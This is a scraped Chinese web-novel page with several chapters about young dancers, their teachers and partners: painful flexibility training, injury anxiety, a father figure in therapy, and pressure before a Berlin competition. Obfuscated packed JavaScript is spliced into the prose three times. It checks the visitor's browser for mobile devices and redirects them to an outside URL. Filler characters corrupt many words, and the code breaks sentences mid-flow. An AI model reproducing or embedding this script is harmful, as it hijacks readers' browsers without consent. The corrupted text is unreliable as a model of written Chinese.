“行”,钟彦承在他看不见的身后挑挑眉,“我给你撤垫子行,撤一半,今天就必须贴地。你自己选。” 这么大的孩子,该哄得哄,该凶得凶……该忽悠也得忽悠。 84. 婚后番外(5) 一个上午过去,太阳从半空高高升到头顶,只在窗前投下一片白亮的四方格。 到饭点儿了,团里的演员散了排练,三俩结伴地去吃午饭。走廊里一时人来人往喧嚷起来,几乎盖过了屋里低低的啜泣声。 钟彦承跪在乐无弋身后——两边胯都压过——这会儿便叫他打直双缽腿,展开一个漂亮舒展的横叉。脚下都垫着垫子,屁缽股正被他牢牢压着按在地上,肩背时不时地“抽抽”:这点高度算不得什么,却足以让少年受尽“煎熬”。 一声浅浅的呜咽倾泻缽出来,“钟老缽师……” 乐无弋侧着脸趴着,眼泪不住地从眼角往出流,几乎在脸旁积出一小滩水迹。一直乖缽巧背在身后的双手似是终于忍不住了般,拼命推着他的手。 钟彦承任由他一下下推着,不为所动。乐无弋手心上都是汗……他当然知道那是怎么个疼法。想训两句没规矩,心里却到底被他惹得有些发涩,便也由着他去了。 乐无弋紧闭着双眼,不用看对面的镜子也知道自己现在嘴咧得有多难看,哭得有多不像样子。可他……腿疼、胯也疼,筋疼、骨头也疼,被自己咬得破烂的嘴角内缽侧也疼。他也想像平时课上一样拿出点骨气来,可人被缽逼到极限的时候才知道,骨气多半是不顶用的。 “呃…嗯……” 他下意识地轻缽哼了两声,拔高的音调里带着藏不住的哭腔和委屈。身后钟老缽师的手像两柄铁钳般纹丝不动,让人忍不住一遍遍地去推,忍不住用指尖一点点扒着他的掌侧。心里也知道是徒劳的,可好像只有这样做点什么,才能好过些。 少年窸窸窣窣的小动作不停,尽数落在眼里。钟彦承低头瞧着自己手上腕上被掐红了一块块的皮肤,忍不住笑着叹口气。孩子是不能惯啊,明明记得去年在学校偶尔留堂给他开小灶时,这臭小子硬气的很呢。 他猫着腰半晌有些累了,便换了膝盖上来。许是这一下就压得更实在了些,乐无弋痛哼了一声,猛地把脸埋起来,也不怕那高缽挺的小鼻梁硌在地上给磕瘪了。 钟彦承腾出一只手在他腿上揉了揉,少年有些受不住,那小手便死死护住腿缽根动也不给他再动一下。钟彦承不禁刻意压下声音,“乐无弋,咱们怎么说的啊?” 连名带姓的这一声,喊回了少年片刻的清明。怎么说的? 可以哭,不许闹;可以学的慢,但不能偷懒。 刚开始跟着钟老缽师上小课时,就说过的。 鼻尖充斥着地胶的气味,乐无弋手上的动作不禁渐渐僵住。他没有说话,只是默默收回手,交握着搭在自己后腰上。哪怕肩头仍旧时不时地瑟缩,哪怕钟老缽师抬起他右腿时他疼的都快昏了。可直到那一天下课为止,他的手也规规矩矩地再没离开过。 钟彦承没忍住在他后脑上呼噜了一把—— 算是没看错你小子。 ———————————————————— 门口传来一声轻微的响动。林晓希垂着撑着,知道是彦承下课过来了,便没有动。 只是半晌没再听到什么动静,他不禁扭头去看,只见那家伙还站在门口,不知发什么呆。“傻笑什么呢?” 钟彦承歪着头打量着情人看上去分外眼熟的姿缽势,笑意不禁更甚,“哎,似曾相识阿。” 他走到晓希身后,躬下腰双手撑在他身侧,双缽腿轻巧地一吸,整个人便大狗狗般结结实实地跪在了他kua上。 “嘶……” 林晓希被他压的一抖,毫不掩饰地皱了皱眉,“轻点儿啊,我的祖缽宗。” “怎么?轻点怎么配得上林大首席‘刻苦’的人设啊。” 晓希听出这话里半真半假的抱怨,不禁回过头,长长的手臂试图去揉情人一头蓬松的短发。“我是怕钟老缽师一出手,我前脚刚养好后脚又要被送进医院。” “哎呀呸呸呸”,彦承俊眉一拧,“别瞎说。走啦走啦,去吃饭了。” 林晓希抬头看了眼时间,语气软缽下来,“再练半个小时,嗯?你帮我扳扳,今天就结束了。” “不帮……饿了!” 又闹驴脾气。 林晓希忍不住抿起嘴,笑意却被腿上阵阵的撕痛定格在半路。眼角不自觉地抽缽了抽,他掩饰地别过头去,将手伸到身后攥缽住彦承的手腕捏了捏。“那求你,成不成?” “晚上请你吃好吃的,成不成?” 不成…… 明明是求人,可那语气分明自己才是那个被哄的。钟彦承盯着情人额角附着一层晶莹,到底叹了口气,回握住他的手腕,“成……” ———————— 林晓希晚上的确请吃了好吃的,只不过主人公是何钦。 何钦他们舞团刚刚结束在美国的巡演,也是有日子没见了,便约了给他接风。何钦是个爱热闹的性子,三人一顿大快朵颐后他犹嫌不尽兴,又要找地方喝两杯。“我听说美缽领缽馆附近有家Scotch Bar不错的,去那儿?” “美缽领缽馆附近?” “嗯,是啊。开了几个月了,听我们团里人说不错,我一直没来的及去打卡呢。叫什么——呃” 何钦忙着翻手缽机,林晓希却压下他手缽机直接跑到路边拦车,“知道了,走吧。” “嗯?你知道?有猫腻啊……” 林晓希歪歪头,“你问他。” 何钦眨巴眨巴眼睛,好像突然反应过什么,直接一个“锁喉”揽住了钟彦承,“钟钟,老实交代。” “咳咳,” 钟彦承拍着他手臂求饶,“我、我只是出资跟人合伙啦……” “谁啊?” “我哥……” “嘶找揍啊你小子……” 店里的员工一眼就认出了老板。钟彦承连忙不自在地摆了摆手,叫他们继续各忙各的。三个人在酒吧里只挑了个僻静的角落,安心聊了会儿天。 “老何缽在林肯中心墙上签字了吗?” 钟彦承拎起杯子,朝他晃了晃。 何钦会意也拎起来和两个人都轻磕了下,“那必须啊。我还特意去找了‘林大首席’的签缽名呢,拍下来了哦。” “酒不好喝啊,堵不上你嘴。” 林晓希故作嫌弃地在他脸上糊了一下。何钦笑着躲开,渐渐收了几分颜色,“说起来,你脚怎么样了。准备什么时候回团里?” “差不多了,不过要上台,肯定还是得恢复一阵。” “哎放心,” 何钦何尝不知道这位老同学的完美主缽义,可也知道有些事是劝不来的。明明一肚子开解的话,可想来都是多余,索性只拍拍他肩膀,“小伤,好起来快的。” 三人离开酒吧的时候,多少都有些微醺。到了家,晓希让彦承先去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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彦承颤缽抖着睫毛,怔怔地望进眼前深棕色的瞳仁中。他的晓希就是这样的,好像永远是一池微漾的春水,无论怎样地跌落进去都能稳稳地托住你,平和而宽容,温柔又强大。总是能化解你的全部棱角,包容你千奇百怪的小情绪。可是从来、好像从来都不曾给人看过,那深深的池底,他也有许多化不开的暗潮涌动。 “晓希……你到底当我是什么啊。” 他不禁收紧手臂将人紧紧搂在怀里,把下颌垫在他肩头,感觉有什么热缽热的打湿缽了睫毛。 “你能不能,不要什么都藏着压着,不要什么都自己扛着啊。你那么好,总是把我照顾的很好。可我是你的瓷娃娃吗?我们在一起那么久了,就算是个瓷娃娃,你也会对他倾吐些心事,不是吗?” 晓希垂下眼神,心里沉沉的发涩。他笑了笑,刻意操着轻快的嗓音,“借着酒劲儿撒泼啊。这话是从哪儿说的,有什么会不跟你说?” “你觉得会让我们担心的事,就从来不说。” 林晓希顿了顿,喉间仿佛被什么梗住。他……哎,他其实也不是故意的,只是习惯了自己消化。许多事情,即便说出来也并不能改变什么,便干脆,不提了。 “我……“ 他也不禁揽紧了怀里的人,“是……其实我很担心,也很害怕。这次受伤,我不确定会对未来有什么影响。虽然医生说了恢复好了会没事的,可我——我还是很怕。我对舞蹈,对舞台,都太向往了。所以总是迫不及待地想看看,到底恢复的怎么样了。总着急着去试探,能不能达到原来的程度。有时候明明知道为时尚早,也想泡在练缽功房,因为只要好像忙着累着,我就不会再杞人忧天,自己吓自己。 对不起……没有告诉你,是怕你担心,却没想到,让你更担心了。” 从小到大,我并没有很多可以肆意软弱的机会,所以习惯了,藏在心里、自己熬过去。 “以后我改正,好不好?” (完) 85. 第76章 萧允明看到钟彦霖的脸色,眉心便不禁皱了皱。再对他们有气,也是自己孩子,没法不挂心。 “这趟事情谈的不顺利?” “没,挺顺利的。” 钟彦霖不愿意离家时间长,但凡出差,都是卡着最早的班次回来。昨天遇上严重晚点,他临时改签了需要转机的航班。折腾一宿,即便到家收拾了一番,脸上也不免带着疲惫。 萧允明点点头,没再多说什么,扭身进了厨房。一看着两个孩子那副装着没事却分明小心拘谨的样子,他心里便莫名的不痛快。说不出是什么,便索性一直呆在厨房给勤勤打下手。中间承儿进来过几次,也让他轰出去了。 晚饭终于端上桌,几个孩子看着那盘金灿灿的软炸里脊不由得都是一愣。彦承眼眶一下子就热起来——他想起小时候难得萧叔下一次厨,一家人其乐融融的围着饭桌吃饭的样子了。那时自己年纪还很小,偏喜欢放下筷子用手抓着吃。然后萧叔和婶卝婶便会一边说他没规矩一边拿纸帮他擦干净油汪汪的手。 “怎么不都不动筷子啊。” 董勤勤拣了一块里脊到承儿碗里。“之前不是念叨着想了吗?这会儿又不吃了?小卝泽、彦霖,吃饭。” “嗯。” 钟彦霖和萧泽听话都拿起筷子吃饭。承儿看着自己碗尖儿上的那块肉,不知怎么的就用手拿起来,送到嘴边文静地咬了一口,“舍不得吃呢。” 萧允明笑着横了他一眼,“胡说八道。想吃什么短着你的了。 吃吧!” 话虽是对承儿说的,筷子尖却分明不经意地向萧泽和彦霖的方向挑了挑,“喜欢吃过两天再做。” —————————— 周五一早,萧允明如往常一样出发去公卝司。车子行驶到半路,便偏离了平时的走向,向另一区开去——从上周开始,每个周二和周五,他都有一次特别的预约。 萧允明看着窗外不过几年已大不一样的街景,思绪浮动。他不知道自己为什么做了这么个决定,为什么鬼使神差地预约了诊疗。他明明不愿意……再把尘封的记忆掀动一丝一毫。 不多时,车子停在一座现代的办公大楼前。萧允明深深吸了口气,下车前,不免又嘱咐了遍司机,“这个事,先不要给太太知道。” ”知道,萧总。” 司机最要紧的品质就是不要多话,这个老刘跟了萧允明好些年,自然也明白 。 “上次,说到哪儿了。” 萧允明躺靠在舒适的沙发躺椅上,半阖着眼看着23 层窗外的景色。随口念叨这一句,更像是在自言自语。 坐在旁边的医生是位看上去就温文尔雅的男士,说话的声音和语调也格外温柔平和。“您想到什么就从什么开始说,都可以的。” “嗯……” 萧允明缓缓闭上眼睛,十指相交地搭在身前。“工作上,锦程哥……王锦程他是我父亲的得力助手,生活上,我父亲也很信任他。父亲和母亲都扎在厂子里忙不过来的时候,偶尔会叫锦程……哥去学校接我。是,我那时还在上小学,他大概大我十一二岁,理应是叫叔叔的。可为了显得成熟,我故意叫他锦程哥,他也不介意地答应着。 我十分喜欢这个锦程哥,他懂的很多,人又帅气明朗,和我憧憬中的大学卝生一模一样。我后来听父亲说,他是因为家境原因才没有去念大学,可学习是顶好的。以那时的我看来,他的学习自然是顶好的,因为我问他的每道作业题,他都会。 父亲看出我很喜欢他,有他课后辅导我的学习,我还真进步了不少,就索性放心把我扔给他了。那一个学期,锦程叔几乎每天都去接我放学,看着我写作业。我写完的快,就带我出去玩儿。去游乐场,去河边儿钓卝鱼,去他好哥们儿那儿看警犬……实在是我的童年里,很快乐的一段日子。” 萧允明停顿下来,面上带着一丝微笑,似是沉浸在孩童时那段令人怀念的时光里。良久,他才接着说道: “后来,不知怎么的,就多了一个人来和他一起接我放学。打扮地十分时髦,人特别瘦,头发总梳的溜光水滑。他也很帅,可和锦程哥那种阳光青春的帅不一样,他很像是港片里的富家小开,总带着一副潇洒浪荡劲儿。锦程哥让我叫小张哥卝哥就行。 小张哥对我也不错,他人很风趣儿幽默,总能把我和锦程哥都逗的哈哈大笑。我听他们聊天依稀知道,小张哥和我父亲有生意往来,他和锦程哥,也是那么认识的。他虽然也是做生意的,可却不像我父母那样忙。一周五天,他有三天会跟着锦程哥一起来接我的。” “就这么开开心心地过了一个多学期。大概是下个学期到了一半的时候吧………那一天忽然是父亲来接我,还说,以后都换成保姆阿姨来接。我感到很奇怪,自然不肯,父亲便说厂子太忙了,没有锦程哥忙不过来。等过一阵再说。我虽然不开心,可也知道不能耽误大人的事儿,便安心等了一阵子。可从那天起,我就再也没见过锦程哥了。 我渐渐觉出事情不对,便三天两头地问父亲。起初他还找些借口搪塞着,可后来大概是被问得烦了…有一次发了大脾气,告诉我他不是好人,早已经被开除了,还有如果他以后来找我,千万不可以跟他走… 我少见父亲发那么大的火,我那时也真是被吓着了。” “那你后来,就真的再没见过他了?” “后来……?” 萧允明缓缓睁开眼睛,目光似乎飘回很远很远的从前。“见过的,一次…还是两次…” 他沉默了很久,好像是在回忆,又好像单单只是在出神。 “今天就到这里吧。” 回过神的萧允明站起身,整了整衣衫。“抱歉医生,我们,下次再见吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239583|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他朝眼前年轻的医生微微点头致意,跟着便头也不回地走出了诊所。 ———————————————————————————————— 林晓希独自坐在餐厅里,眼前的手卝机正播放着今天排练结束前录的最后一遍。原本觉得下午的状态不错的,可现在这样看过去,还是有许多小毛病。哎。他不禁蹙起眉心,双手盖上盯久了屏幕有些酸涩的眼睛。离比赛只剩下一个月了,扣去提前要飞过去准备的时间,就连一个月都不到。 这一支舞”滚”了一个多月,编舞总算是定下来,连刘老卝师自己也说“不改了,不能再改了”。于是剩下的,就是“抠细节”了。这一周里,林晓希觉得自己快变成了偏执狂,连做梦都在挑自己的错。可磨作品,不就得是这样吗……别人看来一举手一投足都带着意境的背后,是连指尖眼神都不能马虎的精确。 人要融在作品里,就要入戏,要忘我;可“忘我“的时候,总难免”失控“。所以只能千遍百遍地练,练到把那些不管是浑然天成还是刻意为之的细节都通通刻进骨血里,练到无论怎么跳也跳不错才行。 “等多久了?” 后颈突然被人捏了捏,林晓希连忙放下手,眼睛被自己揉的模模糊糊地看不清,他用卝力眨了几下的功夫,学长已经在对面坐下了。“学长”,收起耳卝机连着手卝机一起揣进口袋,“刚坐一会儿。你排练结束了?” “嗯,今天没我的部分,所以还好。想好吃什么了吗?” 萧泽随手把菜单递过来,看着这孩子虽然眼见着又瘦了,脸色却还不错,也放下心来。 “听佳姐说,这几周练得挺凶的?” “啊…还好。” 晓希顿了顿,到底没忍住一半无奈一半玩笑地弯起嘴角,“跟刘老卝师练,哪天都挺凶的……” 萧泽闻言也不禁笑了,“知道凶吃饭就要应时,营养得跟上。” 方才点菜时,这孩子点的都是清淡的。萧泽当然知道在那样的压力和疲惫下是什么感觉,所以才更怕他把身卝体熬坏了。“多吃点肉,牛羊肉、鱼肉不怕的,少油少盐就行,嗯?” “嗯,明白。” “不要随口答应着回头就忘。要是不听话就以后每一餐都拍照给我。” “您别……” 晓希也不知道卝学长是玩笑还是认真,一时脸上都有点发卝热,“我一定听话。” “嗯,以观后效。” 萧泽知道这孩子脸皮薄,也不再逗他。正好菜上来了,便看着他每样都多吃点。 “学长……” 晚餐过半,晓希盯着自己碗里还剩下一小半的“任务”决定歇一歇。“我能问你一个问题吗?” “嗯?” 萧泽扬扬眉,自然不介意。 “你……有没有过,很想要很想要得到一样东西,却没有成功的时候?” 86. 第77章 “你……有没有过,很想要很想要得到一样东西,却没有成功的时候?” “当然有啊。” 萧泽把一整条骨刺从鱼身上拆下来,将剔好的鱼肉往他面前推了推。“能总是心想事成自然是好的,可哪有人能那么幸运呢…… 你问这个,还是因为担心柏林的比赛吧。” 他放下手里的东西,认真地看着晓希。这块大石头在孩子心上压了多久,他一直都知道的。 “嗯……”晓希下意识地错开眼神,还没说什么,脖颈已经先红起来。 他鲜少和人说自己的心思,方才没忍住脱口而出那一问,一时只觉得后悔又难堪。 他原以为,他就算是忍不住要和谁倾诉这点没出息的担忧,也一定不是学长。 从小时候知道卝学长那天起,他在自己眼里就是个始终发着光的存在。他为了学长转系,诚心诚意地想要跟着他学舞,始终将他视为追赶的目标——他希望自己在学长眼里,能一直是个优秀又让人省心的后辈。 只是没想到,那些在心里一遍一遍想过,在彦承和何钦面前都没说出过的话,在这样一个奇怪的场合,在学长面前,突然就绷不住了。 “其实最开始的时候,我是憋着一口气的……“ 想着,一定要拿个金奖回来,让那些人看看。 林晓希停了停,没说出后半句来。头一回把自己幼稚又赌气的心思拿出来说,只能颇有些羞耻地,掩饰般地笑了笑。 他忍不住去回忆那时候的心情。可明明是没多久以前的事情,现在想起来,莫名就有了种经年往事的迟钝感。再在心底一一重复着那些风言风语,并不是不介意的,却远远没有了当时的尖锐刺痛。 “后来开始备赛了,忙起来,就顾不得想那些事了。刘老卝师和我说过这次比赛的性质,我知道,拿金奖当然不仅仅是为了我自己,就只能更努力的练。每次累了的时候,就闭着眼睛想想,想我能不负众望、把奖杯捧回来,把它交到老卝师手里的样子。再后来——“ 他不禁又无奈地笑了笑。 再后来,连自己都觉得自己有点“魔怔”了。拿金奖好像变成了个什么执念,白天夜里的想着。不是梦见自己终于拿到了金奖,醒来一阵失望,就是梦见比赛时摔在台上,吓醒了又连忙庆幸还好都是假的。 他不是第一次参赛了,赢过也失败过。从没有哪次,患得患失到了这样的程度。从开始备赛到现在,压力只管一层一层地往身上叠,还没到比赛那天,就连个喘气的口子都没给他留下。让他终于忍不住,在学长面前,尽数都倒了出来。 “我不是不能努力,我就是不知道——要练到什么份上,心里才能有底。” 萧泽静静听着,默默点了点头。少年人的坚持、挣扎、迷茫、痛苦通通都落在他眼里,让他心头翻上一股浓烈的酸涩。 他也好,文导和刘茹佳也好,其实他们都知道,这一次比赛,对于学校的意义远大于对晓希自己的意义。 柏林青舞赛,在许多人眼里,就是个大杂烩式的竞赛,从规则上讲,它可以包括欧亚文化中除了芭蕾与街舞外的任何传统与现代舞种。虽然参赛范围其实仅限于各国几所历卝史悠久的舞蹈名院,选手也多数选择那么几个主流舞种…… 可说到底,还是在拿着苹果跟鸭梨比。 艺术一定是带有主观性的,哪怕是大家在同一个舞种里比,也没有十拿九稳的事情。在这样的比赛里,能握在自己手里、可控的部分,就更少。萧泽甚至觉得,也许现在去比“阳春杯”,拿金奖的概率还大一些。 他比谁都清楚学校给了晓希多大的压力,此刻当然也更明白孩子心里的困惑和焦虑。 “晓希”,他微微弯着嘴角,让自己的声音听上去更轻松些,“我从来没和你说过,我为什么和文导举荐你去参加这次比赛吧?” 林晓希心里不由得微微一紧。 流言发酵的起点,就是有人说起学长和孔爵哥都极力推荐他代替陶乐钦去参赛。传言中,“孔爵还因为这个事跟文导拍了桌子”。那时候他情绪很差,学长没解释过,他也默认了事情就是这样。后来不管是下意识的回避还是什么,他们都没再提起过这件事。 晓希舔卝了下嘴唇,点点头。 萧泽接着说道,“这个比赛,不好比——不是自己觉得我跳的好了,发挥出卝水平了,就一定能得到评审的青睐。换做是谁,心里都一样打鼓。我很理解那种不在自己掌控中的感觉。 不过换个角度想,跳的再怎么五花八门,其实评委们看的东西,都是一样的。柏林赛的评委,大多数都是学院派出身,对表现力、技术、整体完成度的要求都很高。想都做到,一点也不容易。 我和孔爵,包括文导,我们都就觉得你比陶乐钦稳定、也扎实许多。所以学校因为上面临时削减了名额而想用陶乐钦代替你,我才觉得不妥。这中间有为学校的考量,当然,也有我对你的私心。” 萧泽顿了顿,一直挂着笑意的脸上突然多了几分郑重,“只是……确实没有问过你的想法就自作主张地去替你‘争’了。这件事,学长再跟你道一次歉,嗯?” “学长!没、没有。你别……” 晓希几乎一阵慌乱,情急之下,语无伦次地直结巴。可不知怎么的,心里却陡然被那句“我对你的私心”牢牢挂住了。 学长对他从来都很好的,他一直都知道。只是这寥寥几个字里藏着的,是能区别里外亲疏的回护。他光是想想,就觉得胸口热卝热的。 “学长你别这么说……之前是我不对,我,我情绪不好。” “没有的事。” 萧泽舍不得看他窘迫的样子,不禁抬手在他额角结结实实地弹了一下。眼看着他痛得眼睛都眯起来了,才笑着说道,“都说了不是你的错,我和你说这些,可不是让你又瞎想的。” “晓希啊……我也好,孔爵也好,任何人对你的肯定都是真心实意的褒奖,不要转化成压力。一个柏林赛而已,放宽心。赢了更好,不赢也没什么。佳姐这次的编舞不错的,你的身卝体状态也很好。人松卝弛一点,也许会有好的结果的。” “嗯……”晓希鼓着嘴角,闷声点点头。 “再吃点儿吧。” 萧泽朝他面前那几样菜扬了扬下巴。他了解晓希的脾气:肯说出来,肯听进去,自己就一定会试着排解。只是他心里也清楚,压力这种事,又哪是谁两三句就能说开的呢。不过是想着,哪怕是能帮晓希减轻一点点负担,也比什么都不做强。 “话说回来,明年开春的阳春杯,佳姐可是点名要你了。一个柏林赛就这么紧张,看你明年怎么办。“ 啊…… 林晓希不禁一怔,是啊,阳春杯。这一阵忙得昏天黑地,他几乎把这事忘得干干净净。 三年一届的盛会,全国的舞院都在摩拳擦掌地候着。八月正赛,明年一开学就是校内选拔,然后是一整个夏天的备赛。能有刘老卝师做指导教卝师,自然是之前想都没敢想的好事,只是—— 他忍不住抬眼看向学长,胸口突然就泛起一股拦不住的冲动,鬼使神差地、一句话就那么脱口而出:“学长可以做我的指导教卝师吗?” 萧泽一愣,没想到他会这么问,然后眼看着少年的脸色正飞速地红了起来。“嗯——” 他想了一会儿,才认认真真地说道,“你愿意的话,当然可以。” “真的?” 林晓希不可置信地瞪大眼睛,乌黑的眼珠几乎一下子就闪着光。“学长你说的是真的?” 萧泽不禁笑了,“这还能有假。倒是你,自己要想清楚。错过佳姐,也许就错过一次很好的机会了?” “想清楚了。”少年攥着筷子的手激动地有些无所适从,下意识地咬着嘴唇,欲言又止。好一会儿,才终于后知后觉般地松开牙齿,乖卝巧又拘谨地轻念了一声,“谢谢学长!” ————————————————————— 孔爵把车停在舞院旁边的一条小街上,熄了火,开着窗。目光有一搭没一搭地扫着小街尽头的十字路口,一缕缕清甜的茉卝莉花香时不时地顺着窗子飘进来。 没一会儿,路口便拐过来个身形纤长的少年。孔爵眯着眼细瞅了一会儿,不禁牵起嘴角,手掌在方向盘上轻卝按了下。极短促轻微的一声鸣笛吸引了少年的注意,他扬头朝这边摆了摆手,立刻快步走了过来。 孔爵远远看着他,不知怎么就有些晃神。这一阵,思思抽条般地长个子,送回学校才两个月,可每见一次都好像拔高了一小截。还有那张小卝脸儿,也是长开了,下巴虽然还是尖尖的,眉眼还那么精致,五官却也渐渐多了些棱角。 “老卝师!” 王思邈拉开副驾驶的车门,一躬身就迈了上来。 孔爵接过书包帮他扔到后座,大手跟着便毫不犹豫地捏住他脸颊,朝自己的方向扯了扯,“我看看,话梅吃胖没?” “没敢多吃~” 王思邈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239584|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龇牙咧嘴地想要躲开,却也没有真的去拽开老卝师的手。只是再抬眼去看老卝师时,人不禁愣了愣。“老卝师你怎么又瘦了?” 上次见到老卝师是晚上,黑灯瞎火的,看不清什么,他也没太留意。今天天亮着才发现,老卝师比之前暑假时瘦了好多,再仔细看着,眼睛下面似乎还有些淡淡的青色,显得有些疲惫。“是……排练太辛苦了吗?” “排练不辛苦。” 孔爵启动卝车子,回头望了一眼,缓缓开上了小路。“你不是知道吗,张凡和何家齐那两个小没良心的,让我减肥。” 可也没让您减这么多啊…… 王思邈动了动嘴唇,没说出声来。 孔爵偏头瞟了眼臭小子闷闷的表情,笑笑换了个话题。“说说吧,晚上想吃什么,到家给你做。” “老卝师排练不累吗,我们……我们出去吃也行?” “你那个小鸟胃,做两个菜累不着。” 王思邈抿着嘴角看着前方的车流,“那就,火锅吧?” “切”,孔爵腾出一只手大力地胡撸了把孩子的后脑勺,“小样儿吧。” 孔爵的晚餐,好久没有这么丰盛过了。炉子上的砂锅里正炖着花胶松茸汤,旁边小火咕噜着的是还没收汁的红烧肉;翠绿的西兰花已经切好了在篮子里滤水,莴笋泡在碗里等下做凉菜用。眼下,孔爵正拿着刀在鸡翅上割出几道痕迹,准备做一道可乐鸡翅。 他知道思思是怕他做饭麻烦,才说要吃火锅的。只是难得回家一次,他哪能当真了,就那么给孩子糊弄一顿。 “老卝师,有什么我能帮你的?” 王思邈洗了澡回来,脸让热汽蒸得更加白,整个人看着清清爽爽的。 附中的条件不好,不是每天都能冲上澡。孔爵想他上了一天课,出了不少汗,身上肯定又累又难受,所以一到家就催着他去冲个澡松快松快。 “不用,你歇着吧,或者想干什么就干什么去。” “那我看老卝师做饭。” 王思邈怕自己挡事,只在一旁不远不近地站着。看着老卝师需要什么的时候,就帮着递一把。师徒俩一边聊天一边做饭,没一会儿,就都做好了。 王思邈吃了半学期的食堂,早就馋家里的饭了。更何况一桌子都是他爱吃的,饶着是胃口不大,也比平时多吃了半碗饭。孔爵看着他那小卝嘴吃得油油的样子,整整一餐饭,眼角的笑意几乎就没散开过。只是中间突然想起什么,不禁下意识地,摸了摸兜里的手机。 ———————————————— 三二三四、五六—— 呃……五六…… …… 陶乐钦盯着镜子愣了片刻,知道自己又走了神,忘动作了。他忍不住又下意识地朝门口望去,这一晚上,也已经不知道是第几次了。 舞剧晚上没有排练任务的时候,他和孔爵、偶尔还有萧泽学长,都会来这间练卝功房练习。一开始好像只是巧合,后来就渐渐变成没有说破的习惯。每次晚间加练的时候,他们都会把白天不顺的地方再拿出来磨合;陶乐钦有不懂或者做的不对的,孔爵也会在这个时间里帮他纠正。 几周来几乎一直是这样的,他脚伤时也没有例外。可今天,过了惯常的时间许久,孔爵仍然没有出现。 陶乐钦知道自己不在状态,突然也没了练下去的力气。索性走到角落席地而坐,放长了双卝腿,斜靠在垫子上休息。 大家本来也没有彼此答应过,每晚都过来报道的…… 他忍不住想。之前也有过晚上有事没有出现的时候,干什么,突然这么在意呢。 所以习惯,大概真的很可怕的东西吧。 他垂下眼神,目光不禁停留在左手腕不知何时套卝上的一根皮筋上。他面无表情地捏起皮筋,缓缓拉开,直到充满弹卝性的橡胶紧绷到极致—— 啪! 陶乐钦闭上眼睛,倏地松开指尖。快速回弹地皮筋毫不留情地咬上皮肤,带来一阵尖锐又火卝辣的疼痛。 陶乐钦……你清醒一点。 陶乐钦皱着眉头,在黑卝暗中对自己默默说道。你来中国,是为了更好地跳舞。所以不许,不许再这样心不在焉了。 嗡——嗡—— 一旁矮柜上的手机发出两声聒噪地卝震动。陶乐钦将瞬间浮起红色肿痕的手举过头顶,摸卝到了手机拿到眼前。短信发件人,赫然写着“孔爵”两个字: “今晚有事,不过去了。” 87. 第78章 陶乐钦攥着手机,默默盯着屏幕许久。瘦削的面颊紧紧绷着,心底终究控制不住地生出许多细碎难辨的情绪。 “知道了。” 他随手打下几个字,顿了顿,又都删掉,只发出了个“好”。 从很小的时候,他就决定来中国学舞了。 有着悠久历史,能创造出那么有魅力的舞蹈文化的国度,同样也是母亲的祖国,他很想来看看是什么样子的。 后来,因为老师的关系,这份执着里当然也掺了一份渺茫的希冀——万一呢,哪怕是能打听到一丁点消息也好。 陶乐钦苦笑着扯了扯嘴角……不由得想起母亲总说的那句“世事难料”。 曾经以为也许永远也不会有结果的事情,就那么始料未及地实现;而他原本该完完全全属于舞蹈的一颗心,却渐渐地,总是被些莫名的情绪占据…… 也许他,远不如自己想象的那般纯粹与坚定吧。 陶乐钦忍不住攥紧拳头,只要一想到这些,心底就如“背叛”了舞蹈般自责…… 神崎老师说过,会被情绪侵扰,很多时候是因为想的太多,做的太少。想要跳舞的心,一定是在舞蹈着的时候才真正跳动的。 他低头看了看手腕上还未曾褪去的一道红痕,仿佛是下定了什么决心般将皮筋再次高高挑起,一双薄唇轻轻抿着。 良久,瘦削挺拔的身影终于走回房间中央。陶乐钦抬手将额前的碎发悉数捋到头后,继续练舞。 —————— 晚餐结束,王思邈把碗碟和餐具都整整齐齐地摆进洗碗机。随着洗碗机轻声启动,他悄悄往旁边瞄了瞄,有些小心翼翼地凑到孔爵身边,“老师,我…我去练一会儿。” 正在剥柚子的孔爵莫名其妙地看了他一眼,剑眉微微皱起,“大周末的,这么用功?” “我就…随便活动活动。” 半晌没有反应,王思邈只得讪讪地又添了句。“这不是……要考军艺了。” “所以呢”,孔爵修长手指灵巧地剥去果肉上的白衣,头也没抬,“我和你说过吧,不要有什么压力。首舞并不会因为你是附中的学生就降低标准———同样,军艺也不会因为你从外校考进来就更加困难。该怎样就是怎样。你瞎想什么了?” “我知道……我就是怕到时紧张,心里有的点没底,想多练练。” 孔爵一时没有说话。思思的确是努力的孩子,可自己并不想让他背上这么大的压力。他不觉停下手里的动作,眼神在那张微微有些泛红的小脸上停留片刻—— “不要太晚。” 少年急促的脚步声渐行渐远。孔爵垂头盯着案板出神,片刻之后,忽然不自觉地弯起嘴角,脑子里岔出个新的思路—— 这孩子有点反常,不会是……犯了什么错误吧? 自从收下思思那天起,孔爵就觉得这孩子老实的过分。说什么是什么,几乎从没有一个“不”字。可十五六岁的男孩子,正该是能闹腾的时候。想想当年的自己,孔爵都替他觉得闷,有时候真恨不得他能像别的孩子似的,哪怕是个闷葫芦,也偶尔作个大的啊。 